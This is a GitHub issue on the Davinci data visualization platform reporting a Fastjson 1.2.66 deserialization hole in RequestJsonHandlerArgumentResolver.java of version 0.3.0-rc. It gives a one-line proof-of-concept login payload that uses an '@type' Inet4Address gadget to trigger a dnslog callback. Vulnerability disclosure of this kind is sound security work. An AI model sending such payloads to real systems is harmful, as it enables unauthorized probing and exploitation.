search

edp963 / davinci

Davinci is a DVsaaS (Data Visualization as a Service) Platform
https://edp963.github.io/davinci
Apache License 2.0
4.92k stars 1.82k forks source link

davinci-0.3.0-rc hole #2317

Open Xsw6 opened 1 year ago

Xsw6 commented 1 year ago

in RequestJsonHandlerArgumentResolver.java Because global resolution is configured json string,So Fastjson1.2.66 can be triggered 图片

poc: 如下：

{"username":{"@type":"java.net.Inet4Address","val":"dnslog"},"password":"xxxxxxxxxxx"}